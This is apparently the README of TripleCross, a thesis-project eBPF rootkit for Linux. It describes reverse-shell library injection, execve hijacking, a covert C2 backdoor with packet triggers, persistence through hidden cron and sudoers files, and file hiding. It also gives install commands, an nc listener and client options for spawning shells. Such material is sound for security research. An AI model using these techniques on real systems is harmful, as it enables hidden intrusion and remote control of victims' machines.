Home

Awesome

TripleCross

License GitHub release (latest by date including pre-releases) Maintainability GitHub last commit

TripleCross is a Linux eBPF rootkit that demonstrates the offensive capabilities of the eBPF technology.

TripleCross is inspired by previous implant designs in this area, notably the works of Jeff Dileo at DEFCON 271, Pat Hogan at DEFCON 292, Guillaume Fournier and Sylvain Afchain also at DEFCON 293, and Kris Nóva's Boopkit4. We reuse and extend some of the techniques pioneered by these previous explorations of the offensive capabilities of eBPF technology.

This rootkit was created for my Bachelor's Thesis at UC3M. More details about its design are provided in the thesis document.

Disclaimer

This rookit is purely for educational and academic purposes. The software is provided "as is" and the authors are not responsible for any damage or mishaps that may occur during its use.

Do not attempt to use TripleCross to violate the law. Misuse of the provided software and information may result in criminal charges.

Contents

  1. Features
  2. TripleCross overview
  3. Build and install
  4. Library injection module
  5. Backdoor and C2
  6. Execution hijacking module
  7. Rootkit persistence
  8. Rootkit stealth
  9. License

Features

  1. A library injection module to execute malicious code by writing at a process' virtual memory.
  2. An execution hijacking module that modifies data passed to the kernel to execute malicious programs.
  3. A local privilege escalation module that allows for running malicious programs with root privileges.
  4. A backdoor with C2 capabilities that can monitor the network and execute commands sent from a remote rootkit client. It incorporates multiple activation triggers so that these actions are transmitted stealthily.
  5. A rootkit client that allows an attacker to establish 3 different types of shell-like connections to send commands and actions that control the rootkit state remotely.
  6. A persistence module that ensures the rootkit remains installed maintaining full privileges even after a reboot event.
  7. A stealth module that hides rootkit-related files and directories from the user.

TripleCross overview

The following figure shows the architecture of TripleCross and its modules.

<img src="docs/images/rootkit.png" float="left">

The raw sockets library RawTCP_Lib used for rootkit transmissions is of my authorship and has its own repository.

The following table describes the main source code files and directories to ease its navigation:

DIRECTORYCOMMAND
docsOriginal thesis document
src/clientSource code of the rootkit client
src/client/libRawTCP_Lib shared library
src/commonConstants and configuration for the rootkit. It also includes the implementation of elements common to the eBPF and user space side of the rootkit, such as the ring buffer
src/ebpfSource code of the eBPF programs used by the rootkit
src/helpersIncludes programs for testing the functionality of several rootkit modules, and also the malicious program and library used at the execution hijacking and library injection modules, respectively
src/libbpfContains the libbpf library integrated with the rootkit
src/userSource code of the userland programs used by the rootkits
src/vmlinuxHeaders containing the definition of kernel data structures (this is the recommended method when using libbpf)

Build and Install

Requirements

This research project has been tested under the following environments:

DISTRIBUTIONKERNELGCCCLANGGLIBC
VERSIONUbuntu 21.045.11.010.3.012.0.02.33

We recommend using Ubuntu 21.04, which by default will incorporate the software versions shown here. Otherwise, some of the problems you may run into are described here.

Compilation

The rootkit source code is compiled using two Makefiles.

# Build rootkit
cd src
make all
# Build rootkit client
cd client
make

The following table describes the purpose of each Makefile in detail:

MAKEFILECOMMANDDESCRIPTIONRESULTING FILES
src/client/MakefilemakeCompilation of the rootkit clientsrc/client/injector
src/Makefilemake helpCompilation of programs for testing rootkit capabilities, and the malicious program and library of the execution hijacking and library injection modules, respectivelysrc/helpers/simple_timer, src/helpers/simple_open, src/helpers/simple_execve, src/helpers/lib_injection.so, src/helpers/execve_hijack
src/Makefilemake kitCompilation of the rootkit using the libbpf librarysrc/bin/kit
src/Makefilemake tckitCompilation of the rootkit TC egress programsrc/bin/tc.o

Installation

Once the rootkit files are generated under src/bin/, the tc.o and kit programs must be loaded in order. In the following example, the rootkit backdoor will operate in the network interface enp0s3:

// TC egress program
sudo tc qdisc add dev enp0s3 clsact
sudo tc filter add dev enp0s3 egress bpf direct-action obj bin/tc.o sec classifier/egress
// Libbpf-powered rootkit
sudo ./bin/kit -t enp0s3

Attack scenario scripts

There are two scripts, packager.sh and deployer.sh, that compile and install the rootkit automatically, just as an attacker would do in a real attack scenario.

These scripts must first be configured with the following parameters for the proper functioning of the persistence module:

SCRIPTCONSTANTDESCRIPTION
src/helpers/deployer.shCRON_PERSISTCron job to execute after reboot
src/helpers/deployer.shSUDO_PERSISTSudo entry to grant password-less privileges

Library injection module

The rootkit can hijack the execution of processes that call the sys_timerfd_settime or sys_openat system calls. This is achieved by overwriting the Global Offset Table (GOT) section at the virtual memory of the process making the call. This leads to a malicious library (src/helpers/injection_lib.c) being executed. The library will spawn a reverse shell to the attacker machine, and then returns the flow of execution to the original function without crashing the process.

TripleCross is prepared to bypass common ELF hardening techniques, including:

It is also prepared to work with Intel CET-compatible code.

The module functionality can be checked using two test programs src/helpers/simple_timer.c and src/helpers/simple_open.c. Alternatively you may attempt to hijack any system process (tested and working with systemd).

The module configuration is set via the following constants:

FILENAMECONSTANTDESCRIPTION
src/common/constants.hTASK_COMM_NAME_INJECTION_<br>TARGET_TIMERFD_SETTIMEName of the process to hijack at syscall sys_timerfd_settime
src/common/constants.hTASK_COMM_NAME_INJECTION_<br>TARGET_OPENName of the process to hijack at syscall sys_openat
src/helpers/injection_lib.cATTACKER_IP & ATTACKER_PORTIP address and port of the attacker machine

Receiving a reverse shell from the attacker machine can be done with netcat:

nc -nlvp <ATTACKER_PORT>

Library injection via GOT hijacking technique

The technique incorporated in TripleCross consists of 5 stages:

Locating GOT and the return address

The rootkit hooks the system call using a tracepoint program. From there, it locates the address at the GOT section which the PLT stub used to make the call to the glibc function responsible of the syscall.

In order to reach the GOT section, the eBPF program uses the return address stored at the stack. Note that:

<img src="docs/images/plt_got_glibc_flow.jpg" float="left">

Therefore in order to check from eBPF that an address in the stack is the return address that will lead us to the correct GOT, we must check that it is the return address of the PLT stub that uses the GOT address that jumps to the glibc function making the system call we hooked from eBPF.

Two techniques for finding the return address have been incorporated:

<img src="docs/images/lib_injection-s1.png" float="left">

Locating key functions for shellcode

The shellcode must be generated dynamically to bypass ASLR and PIE, which change the address of functions such as dlopen() on each program execution.

<img src="docs/images/lib_injection-s2.png" float="left">

Injecting shellcode in a code cave

A code cave can be found by reverse engineering an ELF if ASLR and PIE are off, but usually that is not the case. The eBPF program issues a request to an user space rootkit program that uses the /proc filesystem to locate and write into a code cave at the .text (executable) section.

<img src="docs/images/lib_injection-s3.png" float="left">

Overwriting the GOT section

Depending on whether Partial or Full RELRO are active on the executable, the eBPF program overwrites the GOT section directly or with the /proc filesystem.

<img src="docs/images/lib_injection-s4.png" float="left">

Waiting for the next system call

When the next syscall is issued in the hijacked program, the PLT section uses the modified GOT section, hijacking the flow of execution which gets redirected to the shellcode at the code cave. The shellcode is prepared to keep the program from crashing, and calls the malicious library (src/helpers/lib_injection.so). This library issues a fork() and spawns a reverse shell with the attacker machine. Afterwards the flow of execution is restored.

<img src="docs/images/lib_injection-s5.png" float="left">

Backdoor and C2

The backdoor works out of the box without any configuration needed. The backdoor can be controlled remotely using the rootkit client program:

CLIENT ARGUMENTSACTION DESCRIPTION
./injector -c <Victim IP>Spawns a plaintext pseudo-shell by using the execution hijacking module
./injector -e <Victim IP>Spawns an encrypted pseudo-shell by commanding the backdoor with a pattern-based trigger
./injector -s <Victim IP>Spawns an encrypted pseudo-shell by commanding the backdoor with a multi-packet trigger (of both types)
./injector -p <Victim IP>Spawns a phantom shell by commanding the backdoor with a pattern-based trigger
./injector -a <Victim IP>Orders the rootkit to activate all eBPF programs
./injector -u <Victim IP>Orders the rootkit to detach all of its eBPF programs
./injector -S <Victim IP>Showcases how the backdoor can hide a message from the kernel (Simple PoC)
./injector -hDisplays help

Backdoor triggers

Actions are sent to the backdoor using backdoor triggers, which indicate the backdoor the action to execute depending on the value of the attribute K3:

K3 VALUEACTION
0x1F29Request to start an encrypted pseudo-shell connection
0x4E14Request to start a phantom shell connection
0x1D25Request to load and attach all rootkit eBPF programs
0x1D24Request to detach all rootkit eBPF programs (except the backdoor’s)

Pattern-based trigger

This trigger hides the command and client information so that it can be recognized by the backdoor, but at the same time seems random enough for an external network supervisor. It is based on the trigger used by the recently discovered NSA rootkit Bvp47.

<img src="docs/images/packet_examples_bvp47_trigger.png" float="left">

Multi-packet trigger

This trigger consists of multiple TCP packets on which the backdoor payload is hidden in the packet headers. This design is based on the CIA Hive implant described in the Vault 7 leak. The following payload is used:

<img src="docs/images/packet_examples_hive_data.png" float="left">

A rolling XOR is then computed over the above payload and it is divided into multiple parts, depending on the mode selected by the rootkit client. TripleCross supports payloads hidden on the TCP sequence number:

<img src="docs/images/packet_examples_hive_seqnum.png" float="left">

And on the TCP source port:

<img src="docs/images/packet_examples_hive_srcport.png" float="left">

Backdoor pseudo-shells

The client can establish rootkit pseudo-shells, a special rootkit-to-rootkit client connection which simulates a shell program, enabling the attacker to execute Linux commands remotely and get the results as if it was executing them directly in the infected machine. Multiple pseudo-shells are incorporated in our rootkit:

Plaintext pseudo-shell

This shell is generated after a successful run of the execution hijacking module, which will execute a malicious file that establishes a connection with the rootkit client as follows:

<img src="docs/images/ups_transmission.png" float="left"> <img src="docs/images/sch_sc_execution_hijack_simple_execve_rc.png" float="right">

Encrypted pseudo-shell

An encrypted pseudo-shell can be requested by the rootkit client at any time, consisting of a TLS connection between the rootkit and the rootkit client. Inside the encrypted connection, a transmission protocol is followed to communicate commands and information, similar to that in plaintext pseudo-shells.

Spawning an encrypted pseudo-shell requires the backdoor to listen for triggers, which accepts either pattern-based triggers or both types of multi-packet trigger:

<img src="docs/images/sch_sc_eps_srcport.png" float="left"> <img src="docs/images/sch_sc_eps_rc.png" float="right">

Phantom shell

A phantom shell uses a combination of XDP and TC programs to overcome eBPF limitations at the network, specifically that it cannot generate new packets. For this, the backdoor modifies existing traffic, overwriting the payload with the data of the C2 transmission. The original packets are not lost since TCP retransmissions send the original packet (without modifications) again after a short time.

The following protocol illustrates the traffic during the execution of a command using a phantom shell: <img src="docs/images/c2_summ_example.png" float="left">

A phantom shell is requested by the rootkit client which issues a command to be executed by the backdoor:

<img src="docs/images/sch_sc_phantom_1.png" float="left">

After the infected machine sends any TCP packet, the backdoor overwrites it and the client shows the response:

<img src="docs/images/sch_sc_phantom_2.png" float="left">

Execution hijacking module

In principle, an eBPF program cannot start the execution of a program by itself. This module shows how a malicious rootkit may take advantage of benign programs in order to execute malicious code at the user space. This module achieves two goals:

This module works by hijacking the sys_execve() syscall, modifying its arguments so that a malicious program (src/helpers/execve_hijack.c) is run instead. This modification is made in such a way that the malicious program can then execute the original program with the original arguments to avoid raising concerns in the user space. The following diagram summarizes the overall functionality:

<img src="docs/images/summ_execve_hijack.png" float="left">

The arguments of the original sys_execve() call are modified in such a way that the original arguments are not lost (using argv[0]) so that the original program can be executed after the malicious one:

<img src="docs/images/execve_hijack_overall_malware.png" float="left">

We have incorporated a sample test program (src/helpers/simple_execve.c) for testing the execution hijacking module. The module can also hijack any call in the system, depending on the configuration:

FILENAMECONSTANTDESCRIPTION
src/common/constants.hPATH_EXECUTION_HIJACK_PROGRAMLocation of the malicious program to be executed upon succeeding to execute a sys_execve call
src/common/constants.hEXEC_HIJACK_ACTIVEDeactivate (0) or activate (1) the execution hijacking module
src/common/constants.hTASK_COMM_RESTRICT_HIJACK_ACTIVEHijack any sys_execve call (0) or only those indicated in TASK_COMM_NAME_RESTRICT_HIJACK (1)
src/common/constants.hTASK_COMM_NAME_RESTRICT_HIJACKName of the program from which to hijack sys_execve calls

After a successful hijack, the module will stop itself. The malicious program execve_hijack will listen for requests of a plaintext pseudo-shell from the rootkit client.

Rootkit persistence

After the infected machine is rebooted, all eBPF programs will be unloaded from the kernel and the userland rootkit program will be killed. Moreover, even if the rootkit could be run again automatically, it would no longer enjoy the root privileges needed for attaching the eBPF programs again. The rootkit persistence module aims to tackle these two challenges:

TripleCross uses two secret files, created under cron.d and sudoers.d, to implement this functionality. These entries ensure that the rootkit is loaded automatically and with full privilege after a reboot. These files are created and managed by the deployer.sh script:

<img src="docs/images/persistence_before.png" float="left"> <img src="docs/images/persistence_after.png" float="right">

The script contains two constants that must be configured for the user to infect on the target system:

SCRIPTCONSTANTDESCRIPTION
src/helpers/deployer.shCRON_PERSISTCron job to execute after reboot
src/helpers/deployer.shSUDO_PERSISTSudo entry to grant password-less privileges

Rootkit stealth

The persistence module is based on creating additional files, but they may get eventually found by the system owner or by some software tool, so there exists a risk on leaving them in the system. Additionally, the rootkit files will need to be stored at some location, in which they may get discovered.

Taking the above into account, the stealth module provides the following functionality:

The files and directories hidden by the rootkit can be customized by the following configuration constants:

FILENAMECONSTANTDESCRIPTION
src/common/constants.hSECRET_DIRECTORY_NAME_HIDEName of directory to hide
src/common/constants.hSECRET_FILE_PERSISTENCE_NAMEName of the file to hide

By default, TripleCross will hide any files called "ebpfbackdoor" and a directory named "SECRETDIR". This module is activated automatically after the rootkit installation.

The technique used for achieving this functionality consists of tampering with the arguments of the sys_getdents() system call:

<img src="docs/images/getdents_technique.png" float="left">

License

The TripleCross rootkit and the rootkit client are licensed under the GPLv3 license. See LICENSE.

The RawTCP_Lib library is licensed under the MIT license.

The original thesis document and included figures are released under Creative Commons BY-NC-ND 4.0.

Footnotes

  1. J. Dileo. Evil eBPF: Practical Abuses of an In-Kernel Bytecode Runtime. DEFCON 27. slides

  2. P. Hogan. Warping Reality: Creating and Countering the Next Generation of Linux Rootkits using eBPF. DEFCON 27. presentation

  3. G. Fournier and S. Afchain. eBPF, I thought we were friends! DEFCON 29. slides

  4. Kris Nóva. Boopkit. github